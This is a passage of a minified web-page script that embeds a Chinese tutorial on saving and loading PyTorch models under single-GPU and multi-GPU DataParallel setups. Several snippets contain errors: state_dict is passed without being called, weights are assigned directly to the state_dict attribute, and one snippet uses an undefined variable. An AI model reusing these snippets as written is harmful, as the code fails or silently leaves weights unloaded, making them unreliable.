\u6a21\u578b\u5b58\u50a8\u683c\u5f0f"}),"\n",(0,o.jsx)(n.p,{children:"PyTorch\u5b58\u50a8\u6a21\u578b\u4e3b\u8981\u91c7\u7528pkl\uff0cpt\uff0cpth\u4e09\u79cd\u683c\u5f0f\u3002\u5c31\u4f7f\u7528\u5c42\u9762\u6765\u8bf4\u6ca1\u6709\u533a\u522b\uff0c\u8fd9\u91cc\u4e0d\u505a\u5177\u4f53\u7684\u8ba8\u8bba\u3002\u672c\u8282\u6700\u540e\u7684\u53c2\u8003\u5185\u5bb9\u4e2d\u5217\u51fa\u4e86\u67e5\u9605\u5230\u7684\u4e00\u4e9b\u8d44\u6599\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u8fdb\u4e00\u6b65\u7814\u7a76\uff0c\u6b22\u8fce\u7559\u8a00\u8ba8\u8bba\u3002"}),"\n",(0,o.jsx)(n.h2,{id:"542-\u6a21\u578b\u5b58\u50a8\u5185\u5bb9",children:"5.4.2 \u6a21\u578b\u5b58\u50a8\u5185\u5bb9"}),"\n",(0,o.jsx)(n.p,{children:"\u4e00\u4e2aPyTorch\u6a21\u578b\u4e3b\u8981\u5305\u542b\u4e24\u4e2a\u90e8\u5206\uff1a\u6a21\u578b\u7ed3\u6784\u548c\u6743\u91cd\u3002\u5176\u4e2d\u6a21\u578b\u662f\u7ee7\u627fnn.Module\u7684\u7c7b\uff0c\u6743\u91cd\u7684\u6570\u636e\u7ed3\u6784\u662f\u4e00\u4e2a\u5b57\u5178\uff08key\u662f\u5c42\u540d\uff0cvalue\u662f\u6743\u91cd\u5411\u91cf\uff09\u3002\u5b58\u50a8\u4e5f\u7531\u6b64\u5206\u4e3a\u4e24\u79cd\u5f62\u5f0f\uff1a\u5b58\u50a8\u6574\u4e2a\u6a21\u578b\uff08\u5305\u62ec\u7ed3\u6784\u548c\u6743\u91cd\uff09\uff0c\u548c\u53ea\u5b58\u50a8\u6a21\u578b\u6743\u91cd\u3002"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"from torchvision import models\nmodel = models.resnet152(pretrained=True)\nsave_dir = './resnet152.pth'\n\n# \u4fdd\u5b58\u6574\u4e2a\u6a21\u578b\ntorch.save(model, save_dir)\n# \u4fdd\u5b58\u6a21\u578b\u6743\u91cd\ntorch.save(model.state_dict, save_dir)\n"})}),"\n",(0,o.jsxs)(n.p,{children:["\u5bf9\u4e8ePyTorch\u800c\u8a00\uff0cpt, pth\u548cpkl",(0,o.jsx)(n.strong,{children:"\u4e09\u79cd\u6570\u636e\u683c\u5f0f\u5747\u652f\u6301\u6a21\u578b\u6743\u91cd\u548c\u6574\u4e2a\u6a21\u578b\u7684\u5b58\u50a8"}),"\uff0c\u56e0\u6b64\u4f7f\u7528\u4e0a\u6ca1\u6709\u5dee\u522b\u3002"]}),"\n",(0,o.jsx)(n.h2,{id:"543-\u5355\u5361\u548c\u591a\u5361\u6a21\u578b\u5b58\u50a8\u7684\u533a\u522b",children:"5.4.3 \u5355\u5361\u548c\u591a\u5361\u6a21\u578b\u5b58\u50a8\u7684\u533a\u522b"}),"\n",(0,o.jsxs)(n.p,{children:["PyTorch\u4e2d\u5c06\u6a21\u578b\u548c\u6570\u636e\u653e\u5230GPU\u4e0a\u6709\u4e24\u79cd\u65b9\u5f0f\u2014\u2014",(0,o.jsx)(n.code,{children:".cuda()"}),"\u548c",(0,o.jsx)(n.code,{children:".to(device)"}),"\uff0c\u672c\u8282\u540e\u7eed\u5185\u5bb9\u9488\u5bf9\u524d\u4e00\u79cd\u65b9\u5f0f\u8fdb\u884c\u8ba8\u8bba\u3002\u5982\u679c\u8981\u4f7f\u7528\u591a\u5361\u8bad\u7ec3\u7684\u8bdd\uff0c\u9700\u8981\u5bf9\u6a21\u578b\u4f7f\u7528",(0,o.jsx)(n.code,{children:"torch.nn.DataParallel"}),"\u3002\u793a\u4f8b\u5982\u4e0b\uff1a"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' # \u5982\u679c\u662f\u591a\u5361\u6539\u6210\u7c7b\u4f3c0,1,2\nmodel = model.cuda() # \u5355\u5361\nmodel = torch.nn.DataParallel(model).cuda() # \u591a\u5361\n"})}),"\n",(0,o.jsxs)(n.p,{children:["\u4e4b\u540e\u6211\u4eec\u628a",(0,o.jsx)(n.code,{children:"model"}),"\u5bf9\u5e94\u7684",(0,o.jsx)(n.code,{children:"layer"}),"\u540d\u79f0\u6253\u5370\u51fa\u6765\u770b\u4e00\u4e0b\uff0c\u53ef\u4ee5\u89c2\u5bdf\u5230\u5dee\u522b\u5728\u4e8e\u591a\u5361\u5e76\u884c\u7684\u6a21\u578b\u6bcf\u5c42\u7684\u540d\u79f0\u524d\u591a\u4e86\u4e00\u4e2a\u201cmodule\u201d\u3002"]}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:"\u5355\u5361\u6a21\u578b\u7684\u5c42\u540d\uff1a"}),"\n"]}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.img,{src:"https://pic3.zhimg.com/v2-3490f6ab8bc806274dd017e1a66e2486_b.png",alt:"img"})}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:"\u591a\u5361\u6a21\u578b\u7684\u5c42\u540d\uff1a"}),"\n"]}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.img,{src:"https://pic3.zhimg.com/v2-4b611c24c2e702749cebbe65eaff7cde_b.png",alt:"img"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u79cd\u6a21\u578b\u8868\u793a\u7684\u4e0d\u540c\u53ef\u80fd\u4f1a\u5bfc\u81f4\u6a21\u578b\u4fdd\u5b58\u548c\u52a0\u8f7d\u8fc7\u7a0b\u4e2d\u9700\u8981\u5904\u7406\u4e00\u4e9b\u77db\u76fe\u70b9\uff0c\u4e0b\u9762\u5bf9\u5404\u79cd\u53ef\u80fd\u7684\u60c5\u51b5\u505a\u5206\u7c7b\u8ba8\u8bba\u3002"}),"\n",(0,o.jsx)(n.h2,{id:"544-\u5355\u5361\u591a\u5361\u60c5\u51b5\u5206\u7c7b\u8ba8\u8bba",children:"5.4.4 \u5355\u5361/\u591a\u5361\u60c5\u51b5\u5206\u7c7b\u8ba8\u8bba"}),"\n",(0,o.jsx)(n.p,{children:"\u7531\u4e8e\u8bad\u7ec3\u548c\u6d4b\u8bd5\u6240\u4f7f\u7528\u7684\u786c\u4ef6\u6761\u4ef6\u4e0d\u540c\uff0c\u5728\u6a21\u578b\u7684\u4fdd\u5b58\u548c\u52a0\u8f7d\u8fc7\u7a0b\u4e2d\u53ef\u80fd\u56e0\u4e3a\u5355GPU\u548c\u591aGPU\u73af\u5883\u7684\u4e0d\u540c\u5e26\u6765\u6a21\u578b\u4e0d\u5339\u914d\u7b49\u95ee\u9898\u3002\u8fd9\u91cc\u5bf9PyTorch\u6846\u67b6\u4e0b\u5355\u5361/\u591a\u5361\u4e0b\u6a21\u578b\u7684\u4fdd\u5b58\u548c\u52a0\u8f7d\u95ee\u9898\u8fdb\u884c\u6392\u5217\u7ec4\u5408\uff08=4\uff09\uff0c\u6837\u4f8b\u6a21\u578b\u662ftorchvision\u4e2d\u9884\u8bad\u7ec3\u6a21\u578bresnet152\uff0c\u4e0d\u5c3d\u4e4b\u5904\u6b22\u8fce\u5927\u5bb6\u8865\u5145\u3002"}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.strong,{children:"\u5355\u5361\u4fdd\u5b58+\u5355\u5361\u52a0\u8f7d"})}),"\n"]}),"\n",(0,o.jsx)(n.p,{children:"\u5728\u4f7f\u7528os.envision\u547d\u4ee4\u6307\u5b9a\u4f7f\u7528\u7684GPU\u540e\uff0c\u5373\u53ef\u8fdb\u884c\u6a21\u578b\u4fdd\u5b58\u548c\u8bfb\u53d6\u64cd\u4f5c\u3002\u6ce8\u610f\u8fd9\u91cc\u5373\u4fbf\u4fdd\u5b58\u548c\u8bfb\u53d6\u65f6\u4f7f\u7528\u7684GPU\u4e0d\u540c\u4e5f\u65e0\u59a8\u3002"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nimport torch\nfrom torchvision import models\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nmodel = models.resnet152(pretrained=True)\nmodel.cuda()\n\nsave_dir = 'resnet152.pt' #\u4fdd\u5b58\u8def\u5f84\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\ntorch.save(model, save_dir)\nloaded_model = torch.load(save_dir)\nloaded_model.cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\ntorch.save(model.state_dict(), save_dir)\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.load_state_dict(torch.load(save_dir))\nloaded_model.cuda()\n"})}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.strong,{children:"\u5355\u5361\u4fdd\u5b58+\u591a\u5361\u52a0\u8f7d"})}),"\n"]}),"\n",(0,o.jsxs)(n.p,{children:["\u8fd9\u79cd\u60c5\u51b5\u7684\u5904\u7406\u6bd4\u8f83\u7b80\u5355\uff0c\u8bfb\u53d6\u5355\u5361\u4fdd\u5b58\u7684\u6a21\u578b\u540e\uff0c\u4f7f\u7528",(0,o.jsx)(n.code,{children:"nn.DataParallel"}),"\u51fd\u6570\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u8bbe\u7f6e\u5373\u53ef\uff08\u76f8\u5f53\u4e8e3.1\u4ee3\u7801\u4e2d.cuda()\u66ff\u6362\u4e00\u4e0b\uff09\uff1a"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nimport torch\nfrom torchvision import models\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nmodel = models.resnet152(pretrained=True)\nmodel.cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\ntorch.save(model, save_dir)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nloaded_model = torch.load(save_dir)\nloaded_model = nn.DataParallel(loaded_model).cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\ntorch.save(model.state_dict(), save_dir)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.load_state_dict(torch.load(save_dir))\nloaded_model = nn.DataParallel(loaded_model).cuda()\n"})}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.strong,{children:"\u591a\u5361\u4fdd\u5b58+\u5355\u5361\u52a0\u8f7d"})}),"\n"]}),"\n",(0,o.jsx)(n.p,{children:'\u8fd9\u79cd\u60c5\u51b5\u4e0b\u7684\u6838\u5fc3\u95ee\u9898\u662f\uff1a\u5982\u4f55\u53bb\u6389\u6743\u91cd\u5b57\u5178\u952e\u540d\u4e2d\u7684"module"\uff0c\u4ee5\u4fdd\u8bc1\u6a21\u578b\u7684\u7edf\u4e00\u6027\u3002'}),"\n",(0,o.jsx)(n.p,{children:"\u5bf9\u4e8e\u52a0\u8f7d\u6574\u4e2a\u6a21\u578b\uff0c\u76f4\u63a5\u63d0\u53d6\u6a21\u578b\u7684module\u5c5e\u6027\u5373\u53ef\uff1a"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nimport torch\nfrom torchvision import models\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\n\nmodel = models.resnet152(pretrained=True)\nmodel = nn.DataParallel(model).cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\ntorch.save(model, save_dir)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nloaded_model = torch.load(save_dir).module\n"})}),"\n",(0,o.jsxs)(n.p,{children:["\u5bf9\u4e8e\u52a0\u8f7d\u6a21\u578b\u6743\u91cd\uff0c\u6709\u4ee5\u4e0b\u51e0\u79cd\u601d\u8def\uff1a\n",(0,o.jsx)(n.strong,{children:"\u4fdd\u5b58\u6a21\u578b\u65f6\u4fdd\u5b58\u6a21\u578b\u7684module\u5c5e\u6027\u5bf9\u5e94\u7684\u6743\u91cd"})]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nimport torch\nfrom torchvision import models\n\nsave_dir = 'resnet152.pth' #\u4fdd\u5b58\u8def\u5f84\nmodel = models.resnet152(pretrained=True)\nmodel = nn.DataParallel(model).cuda()\n\n# \u4fdd\u5b58\u6743\u91cd\ntorch.save(model.module.state_dict(), save_dir)\n"})}),"\n",(0,o.jsxs)(n.p,{children:["\u8fd9\u6837\u4fdd\u5b58\u4e0b\u6765\u7684\u6a21\u578b\u53c2\u6570\u5c31\u548c\u5355\u5361\u4fdd\u5b58\u7684\u6a21\u578b\u53c2\u6570\u4e00\u6837\u4e86\uff0c\u53ef\u4ee5\u76f4\u63a5\u52a0\u8f7d\u3002\u4e5f\u662f\u6bd4\u8f83\u63a8\u8350\u7684\u4e00\u79cd\u65b9\u6cd5\u3002\n",(0,o.jsx)(n.strong,{children:"\u53bb\u9664\u5b57\u5178\u91cc\u7684module\u9ebb\u70e6\uff0c\u5f80model\u91cc\u6dfb\u52a0module\u7b80\u5355"})]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nimport torch\nfrom torchvision import models\n\nmodel = models.resnet152(pretrained=True)\nmodel = nn.DataParallel(model).cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\ntorch.save(model.state_dict(), save_dir)\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.load_state_dict(torch.load(save_dir))\nloaded_model = nn.DataParallel(loaded_model).cuda()\nloaded_model.state_dict = loaded_dict\n"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u6837\u5373\u4fbf\u662f\u5355\u5361\uff0c\u4e5f\u53ef\u4ee5\u5f00\u59cb\u8bad\u7ec3\u4e86\uff08\u76f8\u5f53\u4e8e\u5206\u5e03\u5230\u5355\u5361\u4e0a\uff09"}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.strong,{children:"\u904d\u5386\u5b57\u5178\u53bb\u9664module"})}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"from collections import OrderedDict\nos.environ['CUDA_VISIBLE_DEVICES'] = '0' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\n\nloaded_dict = torch.load(save_dir)\n\nnew_state_dict = OrderedDict()\nfor k, v in loaded_dict.items():\n name = k[7:] # module\u5b57\u6bb5\u5728\u6700\u524d\u9762\uff0c\u4ece\u7b2c7\u4e2a\u5b57\u7b26\u5f00\u59cb\u5c31\u53ef\u4ee5\u53bb\u6389module\n new_state_dict[name] = v #\u65b0\u5b57\u5178\u7684key\u503c\u5bf9\u5e94\u7684value\u4e00\u4e00\u5bf9\u5e94\n\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.state_dict = new_state_dict\nloaded_model = loaded_model.cuda()\n"})}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.strong,{children:"\u4f7f\u7528replace\u64cd\u4f5c\u53bb\u9664module"})}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"loaded_model = models.resnet152() \nloaded_dict = torch.load(save_dir)\nloaded_model.load_state_dict({k.replace('module.', ''): v for k, v in loaded_dict.items()})\n"})}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.strong,{children:"\u591a\u5361\u4fdd\u5b58+\u591a\u5361\u52a0\u8f7d"})}),"\n"]}),"\n",(0,o.jsxs)(n.p,{children:["\u7531\u4e8e\u662f\u6a21\u578b\u4fdd\u5b58\u548c\u52a0\u8f7d\u90fd\u4f7f\u7528\u7684\u662f\u591a\u5361\uff0c\u56e0\u6b64\u4e0d\u5b58\u5728\u6a21\u578b\u5c42\u540d\u524d\u7f00\u4e0d\u540c\u7684\u95ee\u9898\u3002\u4f46\u591a\u5361\u72b6\u6001\u4e0b\u5b58\u5728\u4e00\u4e2adevice\uff08\u4f7f\u7528\u7684GPU\uff09\u5339\u914d\u7684\u95ee\u9898\uff0c\u5373",(0,o.jsx)(n.strong,{children:"\u4fdd\u5b58\u6574\u4e2a\u6a21\u578b"}),"\u65f6\u4f1a\u540c\u65f6\u4fdd\u5b58\u6240\u4f7f\u7528\u7684GPU id\u7b49\u4fe1\u606f\uff0c\u8bfb\u53d6\u65f6\u82e5\u8fd9\u4e9b\u4fe1\u606f\u548c\u5f53\u524d\u4f7f\u7528\u7684GPU\u4fe1\u606f\u4e0d\u7b26\u5219\u53ef\u80fd\u4f1a\u62a5\u9519\u6216\u8005\u7a0b\u5e8f\u4e0d\u6309\u9884\u5b9a\u72b6\u6001\u8fd0\u884c\u3002\u5177\u4f53\u8868\u73b0\u4e3a\u4ee5\u4e0b\u4e24\u70b9\uff1a"]}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.strong,{children:"\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\u518d\u4f7f\u7528nn.DataParallel\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u8bbe\u7f6e"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u79cd\u60c5\u51b5\u5f88\u53ef\u80fd\u4f1a\u9020\u6210\u4fdd\u5b58\u7684\u6574\u4e2a\u6a21\u578b\u4e2dGPU id\u548c\u8bfb\u53d6\u73af\u5883\u4e0b\u8bbe\u7f6e\u7684GPU id\u4e0d\u7b26\uff0c\u8bad\u7ec3\u65f6\u6570\u636e\u6240\u5728device\u548c\u6a21\u578b\u6240\u5728device\u4e0d\u4e00\u81f4\u800c\u62a5\u9519\u3002"}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.strong,{children:"\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\u800c\u4e0d\u4f7f\u7528nn.DataParallel\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u8bbe\u7f6e"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u79cd\u60c5\u51b5\u53ef\u80fd\u4e0d\u4f1a\u62a5\u9519\uff0c\u6d4b\u8bd5\u4e2d\u53d1\u73b0\u7a0b\u5e8f\u4f1a\u81ea\u52a8\u4f7f\u7528\u8bbe\u5907\u7684\u524dn\u4e2aGPU\u8fdb\u884c\u8bad\u7ec3\uff08n\u662f\u4fdd\u5b58\u7684\u6a21\u578b\u4f7f\u7528\u7684GPU\u4e2a\u6570\uff09\u3002\u6b64\u65f6\u5982\u679c\u6307\u5b9a\u7684GPU\u4e2a\u6570\u5c11\u4e8en\uff0c\u5219\u4f1a\u62a5\u9519\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u53ea\u6709\u4fdd\u5b58\u6a21\u578b\u65f6\u73af\u5883\u7684device id\u548c\u8bfb\u53d6\u6a21\u578b\u65f6\u73af\u5883\u7684device id\u4e00\u81f4\uff0c\u7a0b\u5e8f\u624d\u4f1a\u6309\u7167\u9884\u671f\u5728\u6307\u5b9a\u7684GPU\u4e0a\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u3002"}),"\n",(0,o.jsxs)(n.p,{children:["\u76f8\u6bd4\u4e4b\u4e0b\uff0c\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\uff0c\u4e4b\u540e\u518d\u4f7f\u7528nn.DataParallel\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u8bbe\u7f6e\u5219\u6ca1\u6709\u95ee\u9898\u3002\u56e0\u6b64",(0,o.jsx)(n.strong,{children:"\u591a\u5361\u6a21\u5f0f\u4e0b\u5efa\u8bae\u4f7f\u7528\u6743\u91cd\u7684\u65b9\u5f0f\u5b58\u50a8\u548c\u8bfb\u53d6\u6a21\u578b"}),"\uff1a"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nimport torch\nfrom torchvision import models\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\n\nmodel = models.resnet152(pretrained=True)\nmodel = nn.DataParallel(model).cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\uff0c\u5f3a\u70c8\u5efa\u8bae\uff01\uff01\ntorch.save(model.state_dict(), save_dir)\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.load_state_dict(torch.load(save_dir)))\nloaded_model = nn.DataParallel(loaded_model).cuda()\n"})}),"\n",(0,o.jsx)(n.p,{children:"\u5982\u679c\u53ea\u6709\u4fdd\u5b58\u7684\u6574\u4e2a\u6a21\u578b\uff0c\u4e5f\u53ef\u4ee5\u91c7\u7528\u63d0\u53d6\u6743\u91cd\u7684\u65b9\u5f0f\u6784\u5efa\u65b0\u7684\u6a21\u578b\uff1a"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"# \u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\nloaded_whole_model = torch.load(save_dir)\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.state_dict = loaded_whole_model.state_dict\nloaded_model = nn.DataParallel(loaded_model).cuda()\n"})}),"\n",(0,o.jsx)(n.p,{children:'\u53e6\u5916\uff0c\u4e0a\u9762\u6240\u6709\u5bf9\u4e8eloaded_model\u4fee\u6539\u6743\u91cd\u5b57\u5178\u7684\u5f62\u5f0f\u90fd\u662f\u901a\u8fc7\u8d4b\u503c\u6765\u5b9e\u73b0\u7684\uff0c\u5728PyTorch\u4e2d\u8fd8\u53ef\u4ee5\u901a\u8fc7"load_state_dict"\u51fd\u6570\u6765\u5b9e\u73b0\u3002\u56e0\u6b64\u5728\u4e0a\u9762\u7684\u6240\u6709\u793a\u4f8b\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u4e86\u4e24\u79cd\u5b9e\u73b0\u65b9\u5f0f\u3002'}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"loaded_model.load_state_dict(loaded_dict)\n"})}),"\n",(0,o.jsx)(n.h2,{id:"545-\u5176\u4ed6\u53c2\u6570\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6",children:"5.4.5 \u5176\u4ed6\u53c2\u6570\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6"}),"\n",(0,o.jsx)(n.p,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u9879\u76ee\u91cc\uff0c\u6709\u65f6\u5019\u6211\u4eec\u4e0d\u4ec5\u4ec5\u9700\u8981\u4fdd\u5b58\u6a21\u578b\u7684\u6743\u91cd\uff0c\u8fd8\u9700\u8981\u4fdd\u5b58\u4e00\u4e9b\u5176\u4ed6\u7684\u53c2\u6570\uff0c\u6bd4\u5982\u8bad\u7ec3\u7684epoch\u6570\u3001\u8bad\u7ec3\u7684loss\uff0c\u4f18\u5316\u5668\u7684\u53c2\u6570\uff0c\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7b56\u7565\u7684\u53c2\u6570\u7b49\u7b49\u3002\u8fd9\u4e9b\u53c2\u6570\u53ef\u4ee5\u901a\u8fc7\u5b57\u5178\u7684\u5f62\u5f0f\u4fdd\u5b58\u5728\u4e00\u4e2a\u6587\u4ef6\u91cc\uff0c\u7136\u540e\u5728\u8bfb\u53d6\u6a21\u578b\u65f6\u4e00\u8d77\u8bfb\u53d6\u3002\u8fd9\u91cc\u6211\u4eec\u4ee5\u4e0b\u65b9\u4ee3\u7801\u4e3a\u4f8b\uff1a"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"torch.save({\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'lr_scheduler': lr_scheduler.state_dict(),\n 'epoch': epoch,\n 'args': args,\n }, checkpoint_path)\n"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u4e9b\u53c2\u6570\u7684\u8bfb\u53d6\u65b9\u5f0f\u4e5f\u662f\u7c7b\u4f3c\u7684\uff1a"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"checkpoint = torch.load(checkpoint_path)\nmodel.load_state_dict(checkpoint['model'])\noptimizer.load_state_dict(checkpoint['optimizer'])\nlr_scheduler.load_state_dict(checkpoint['lr_scheduler'])\nepoch = checkpoint['epoch']\nargs = checkpoint['args']\n"})}),"\n",(0,o.jsx)(n.h2,{id:"\u9644\u6d4b\u8bd5\u73af\u5883",children:"\u9644\uff1a\u6d4b\u8bd5\u73af\u5883"}),"\n",(0,o.jsx)(n.p,{children:"OS: Ubuntu 20.04 LTS GPU: GeForce RTX 2080 Ti (x3)"}),"\n",(0,o.jsx)(n.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,o.jsxs)(n.p,{children:["\u672c\u7ae0\u5185\u5bb9\u540c\u65f6\u53d1\u5e03\u4e8e",(0,o.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/371090724",children:"\u77e5\u4e4e"}),"\u548c",(0,o.jsx)(n.a,{href:"https://blog.csdn.net/goodljq/article/details/117258032",children:"CSDN"})]}),"\n",(0,o.jsxs)(n.ol,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.a,{href:"https://www.zhihu.com/question/274533811",children:"pytorch \u4e2dpkl\u548cpth\u7684\u533a\u522b\uff1f"})}),"\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.a,{href:"https://stackoverflow.com/questions/59095824/what-is-the-difference-between-pt-pth-and-pwf-extentions-in-pytorch",children:"What is the difference between .pt, .pth and .pwf extentions in PyTorch?"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,o.jsx)(n,{...e,children:(0,o.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/110abd90.8bebc8aa.js b/en/assets/js/110abd90.8bebc8aa.js new file mode 100644 index 0000000..7102e7e --- /dev/null +++ b/en/assets/js/110abd90.8bebc8aa.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6913],{12024:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Architecture-67a7aa2845a3aa954692733fdfef2351.png"},12709:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Window_Partition_Reverse-fb094a768e02bbb5c57aba7b8f4996d2.png"},23737:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Patch_embedding-6f27be8139f6dc24f6687fd8bf94a912.png"},28453:(n,e,s)=>{s.d(e,{R:()=>d,x:()=>o});var i=s(96540);const r={},t=i.createContext(r);function d(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof 